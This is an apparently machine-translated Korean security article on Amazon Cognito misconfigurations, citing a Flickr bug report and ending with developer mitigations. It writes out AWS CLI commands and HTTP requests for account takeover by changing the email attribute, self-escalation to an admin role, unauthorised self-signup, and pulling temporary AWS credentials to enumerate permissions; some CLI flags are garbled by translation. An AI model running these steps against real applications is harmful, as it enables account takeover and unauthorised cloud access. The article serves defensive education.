Amazon Cognito 구성 오류
모하메드 라크다르 메티 지 작성
최근 몇 년 동안 Amazon Web Services(AWS)는 클라우드에서 웹 애플리케이션을 호스팅하려는 기업에게 인기 있는 선택이 되었습니다. 가장 널리 사용되는 AWS 서비스 중 하나는 사용자 인증 및 ID 관리 서비스인 Amazon Cognito입니다. 그러나 잘못 구성된 Amazon Cognito 인스턴스는 민감한 사용자 데이터를 노출시켜 잠재적으로 데이터 위반 및 기타 보안 위험을 초래할 수 있습니다.
가장 먼저
아마존 코그니토란?
Amazon Cognito는 웹 및 모바일 애플리케이션에 대한 사용자 인증, 권한 부여 및 사용자 관리를 제공하는 AWS의 완전관리형 서비스입니다. 이를 통해 개발자는 애플리케이션에 사용자 가입, 로그인 및 액세스 제어를 쉽게 추가할 수 있을 뿐만 아니라 Facebook, Google 및 Amazon과 같은 타사 ID 공급자와 통합할 수 있습니다. Amazon Cognito는 다단계 인증과 디바이스 간 사용자 데이터 동기화도 지원합니다.
어떻게 작동합니까?
Amazon Cognito는 두 가지 주요 구성 요소로 구성됩니다.
- 1. 사용자 풀 : 이 구성 요소는 웹 및 모바일 애플리케이션에 대한 사용자 가입, 로그인 및 인증 기능을 제공합니다. 사용자 풀을 사용하면 사용자 디렉터리를 생성 및 유지 관리하고, 인증 프로세스를 사용자 지정하고, 타사 ID 공급자와 통합할 수 있습니다.
이 JWT는 RS256 알고리즘을 사용하여 서명됩니다 . 이 알고리즘은 페이로드 서명에 사용되는 개인 키와 페이로드의 유효성을 확인하는 데 사용되는 공개 키로 구성됩니다.
- 2. 자격 증명 풀: 이 구성 요소를 사용하면 사용자 풀, 소셜 자격 증명 공급자 또는 기타 타사 자격 증명 공급자를 통해 인증된 사용자에게 AWS 리소스에 대한 제한된 임시 액세스 권한을 부여할 수 있습니다. 자격 증명 풀을 사용하면 사용자 자격 증명을 기반으로 리소스에 대한 액세스를 제어하고 인증된 사용자에게 AWS 서비스에 대한 원활하고 안전한 액세스를 제공할 수 있습니다.
Amazon Cognito의 잘못된 구성은 무엇입니까?
Amazon Cognito의 잘못된 구성은 서비스를 구성하는 동안 발생하는 오류 또는 실수를 말하며, 이로 인해 보안 취약성이 발생할 수 있습니다. 이러한 잘못된 구성으로 인해 사용자 계정이나 중요한 데이터에 대한 무단 액세스가 허용되고 데이터의 기밀성 또는 무결성이 손상되며 조직의 평판이 손상될 수 있습니다. Amazon Cognito의 잘못된 구성의 예로는 부적절한 부적절한 액세스 제어, 권한 부족, 잘못 구성된 사용자 데이터 권한, 다단계 인증 부족 등이 있습니다.
이 기사에서는 일반적인 Amazon Cognito 구성 오류의 예를 작성합니다.
제로 클릭 계정 탈취에 대한 잘못된 구성:
확인 전 이메일 속성 업데이트
어떻게 ?
Flickr는 Amazon Cognito를 사용하여 로그인 기능을 구현합니다.
흐름은 identity.flickr.com에서 시작됩니다. JavaScript를 통해 최종 사용자의 자격 증명이 토큰으로 응답하는 cognito-idp.us-east-1.amazonaws.com으로 전송됩니다. 마지막으로 이러한 토큰은 www.flickr.com으로 전달됩니다 .
Amazon Cognito 로그인은 약간 수정된 OpenID Connect 변형을 구현합니다. 이 싱글 사인온 프로토콜에 익숙하다면 다음 인증을 인식할 것입니다. 요청 및 인증 응답:
####
POST / HTTP/2
호스트: cognito-idp.us-east-1.amazonaws.com
[…]
{
“AuthFlow”:”USER_PASSWORD_AUTH”,
“ClientId”:”3ck15************ **",
“AuthParameters”:{
“USERNAME”:” 공격자 @flickr.com ”,
“PASSWORD”:”[편집됨]”,
“DEVICE_KEY”:”us-east-1_070[…]”
},
“ClientMetadata” :
{
}
}
####
제공된 자격 증명이 유효한 경우 Cognito는 토큰으로 응답합니다.
####
HTTP/2 200 OK
[...]
{
"AuthenticationResult":
{
"AccessToken":"[편집됨]",
"ExpiresIn":3600,
"IdToken":"[편집됨]",
"RefreshToken":"[편집됨]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}
####
Flickr는 사용자 풀을 사용하여 사용자를 구성합니다. AWS CLI 도구 와 함께 access_token을 사용하여 어떤 작업이 토큰 범위에 있는지 테스트할 수 있습니다 .
API를 사용하면 연결된 이메일 주소를 포함하여 일부 사용자 속성을 변경할 수 있습니다.
이 명령을 통해 :
$ aws cognito-idp update-user-attributes — 리전 us-east-1 — 액세스 토큰 eyJraW****** — 사용자 속성 ' 이름=이메일,값= 희생자 이메일 @email.com
계정 탈취를 완료하기 위해 연구원은 악의적인 유사 이메일 주소와 공격자 의 암호를 사용하여 로그인합니다.
전체 보고서: https://hackerone.com/reports/1342088
AWS는 이 문제를 완화하기 위해 새로운 보안 구성을 도입했습니다. 따라서 업데이트가 보류 중일 때 원래 속성 값 활성 유지를 명시적으로 활성화한 경우 이메일 속성은 확인될 때까지 새 이메일 주소로 업데이트되지 않습니다.
이는 2022년 6월 이후에 도입된 새로운 보안 구성으로, 많은 애플리케이션이 여전히 잘못 구성될 수 있음을 의미합니다.
권한 에스컬레이션에 대한 잘못된 구성:
쓰기 가능한 사용자 속성을 통한 권한 에스컬레이션:
AWS Cognito의 맥락에서 사용자가 권한이 부여된 것 이상의 추가 권한을 부여하는 방식으로 자신의 속성을 수정할 수 있는 경우 쓰기 가능한 사용자 속성을 통한 권한 에스컬레이션이 발생할 수 있습니다.
어떻게?
예를 들어 관리자가 사용자를 초대하고 자신의 역할을 독자로 할당한 다음 이메일로 초대장을 보냅니다. 사용자가 공격자이고 자신의 역할을 관리자로 변경하면 어떻게 됩니까?
AWS CLI 도구 와 함께 access_token을 사용하여 이전 예제 'Flickr'와 동일한 단계를 통해 어떤 작업이 토큰 범위에 있는지 테스트할 수 있습니다 .
API를 사용하여 역할을 포함하여 일부 사용자 속성을 변경할 수 있습니다.
사용자의 메타데이터가 다음과 같다고 가정해 보겠습니다.
####
{
"사용자 이름": "e2[...]",
"UserAttributes": [
{
"이름": "sub",
"값": "e28[...]"
},
{
"이름": "역할",
"값" : "독자"
},
{
"이름": "email_verified",
"값": "true"
),
{
"이름": "이메일",
"값": " [email protected] ”
}
]
}
####
사용자는 AWS CLI 도구를 사용하여 이 명령을 통해 자신의 역할을 독자에서 관리자로 변경할 수 있습니다.
$ aws cognito-idp update-user-attributes — 리전 us-east-1 — 액세스 토큰 eyJraW****** — 사용자 속성 ' Name=role,Value= admin
이 명령을 통해 이 간단한 GetUser 작업을 사용하여 다시 확인하면 다음과 같습니다.
$ aws cognito-idp get-user — 리전 us-east-1 — 액세스 토큰 eyJr********
메타데이터는 다음과 같습니다.
####
{
"사용자 이름": "e2[...]",
"UserAttributes": [
{
"이름": "sub",
"값": "e28[...]"
},
{
"이름": "역할",
"값" : "admin"
},
{
"이름": "email_verified",
"값": "true"
),
{
"이름": "이메일",
"값": " [email protected] ”
}
]
}
####
활성화된 Signup API 작업으로 인한 인증 우회:
사용자 가입을 제공하지 않고 계정의 관리 프로비저닝만 지원하는 애플리케이션은 가입 API를 적절하게 비활성화하지 않으면 취약할 수 있으며 공격자가 무단 계정을 생성할 위험이 있습니다. 이는 공격자가 인증을 우회하고 중요한 정보에 대한 액세스 권한을 얻거나 무단 작업을 수행할 수 있으므로 AWS Cognito를 사용하는 관리자 로그인 포털에 특히 위험할 수 있습니다.
어떻게?
여기에는 결과적으로 인증 우회를 허용하는 AWS cognito를 구현하는 관리자 로그인 포털이 포함됩니다.
이 예에서는 로그인할 수 있는 관리자만 로그인할 수 있으므로 계정을 만들기 위한 가입이 없습니다.
새 사용자 풀을 생성할 때 자가 등록이 기본적으로 활성화되어 사용자가 스스로 계정에 가입할 수 있습니다.
공격자는 자체 등록에 대해 테스트하기 위해 클라이언트 ID와 지역만 필요합니다.
공격자는 AWS CLI 도구를 사용하여 이 명령을 통해 등록할 수 있습니다.
$ aws cognito-idp 가입 — 클라이언트 ID <클라이언트 ID> — 사용자 이름 <이메일 주소> — 비밀번호 <비밀번호> — 지역 <지역>
성공적인 가입은 다음과 같습니다.
###
{
"CodeDeliveryDetailsList":[
{
"목적지":"m***@w***",
"배달 매체":"이메일",
"속성 이름":"이메일"
}
]
}
###
자가 등록에 성공하면 공격자의 이메일 주소로 6자리 확인 코드가 전달됩니다.
공격자는 다음 명령을 통해 계정을 확인할 수 있습니다.
$ aws cognito-idp 확인 가입 — 클라이언트 ID <클라이언트 ID> — 사용자 이름 <이메일 주소> — 확인 코드 <확인 코드> — 지역 <지역>
인증된 사용자를 사용하여 임시 AWS 자격 증명 가져오기:
인증된 사용자를 사용하여 임시 AWS 자격 증명을 가져오려면 AWS Security Token Service(STS)를 사용하여 AWS 리소스에 액세스하는 데 필요한 권한이 있는 IAM 역할에 대한 임시 자격 증명을 생성해야 합니다. 사용자에게 필요한 권한이 있는지 확인하기 위해 적절한 보안 조치를 구현해야 하며 임시 자격 증명을 사용하여 AWS 리소스에 대한 액세스를 모니터링하고 추적할 수 있도록 액세스 제어 및 감사 로그가 있어야 합니다.
AWS 자격 증명을 생성하려면 일반적으로 소스 코드, 번들 JS 파일 또는 HTTP 응답에 하드코딩된 자격 증명 풀 ID를 찾아야 합니다.
● 클라이언트 ID
● 사용자 풀 ID
● 지역
예를 들어 :
공격자가 해당 자격 증명에 액세스할 수 있게 되면
그는 어떻게 그들을 착취할 수 있습니까?
공격자는 이전 자격 증명 ID를 사용하여 AWS 자격 증명을 생성할 수 있습니다. 다음과 같이 AWS Cli를 사용하십시오.
$ aws cognito-identity get-credentials-for-identity — 신원 ID <신원 ID> — 지역 <지역>
메타 데이터는 다음과 같습니다
###
{
“IdentityId”: “us-west-2:*********”,
“Credentials”: [
{
“AccessKeyId”: “******”,
“SecretKey”: “*** ******”,
“세션 토큰”: “********”
}
]
}
###
이제 공격자는 다음과 같은 도구를 사용하여 이러한 자격 증명과 관련된 권한을 열거할 수 있습니다.
열거-iam :https://github.com/andresriancho/enumerate-iam
스카우트 스위트룸 :https://github.com/nccgroup/ScoutSuite
$ ./enumerate-iam.py — 액세스 키 <AccessKeyID> — 비밀 키 <SecretKey> — 세션 토큰 <SessionToken>
결론
다음은 확인되었으며 다양한 솔루션으로 해결할 수 있는 몇 가지 일반적이고 심각한 Amazon Cognito 구성 문제입니다.
개발자를 위한 지침:
- 서버에서 보낸 응답에서 Cognito 자격 증명 풀 ID와 같은 민감한 정보를 제거해야 합니다.
- 필요하지 않은 경우 AWS Cognito에서 가입 기능을 끕니다.
- 사용하지 않는 경우 인증되지 않은 역할을 비활성화하십시오.
- 인증된 역할과 인증되지 않은 역할 모두에 연결된 IAM 정책을 확인하여 필요한 최소한의 액세스 권한만 부여되었는지 확인하십시오.
- 모든 사용자 속성을 평가하고 필요하지 않은 경우 쓰기 권한을 제거하십시오.
- 이메일 속성 값에는 확인되지 않은 이메일 주소가 포함될 수 있습니다.

![연결된 목록이란 무엇입니까? [1 부]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































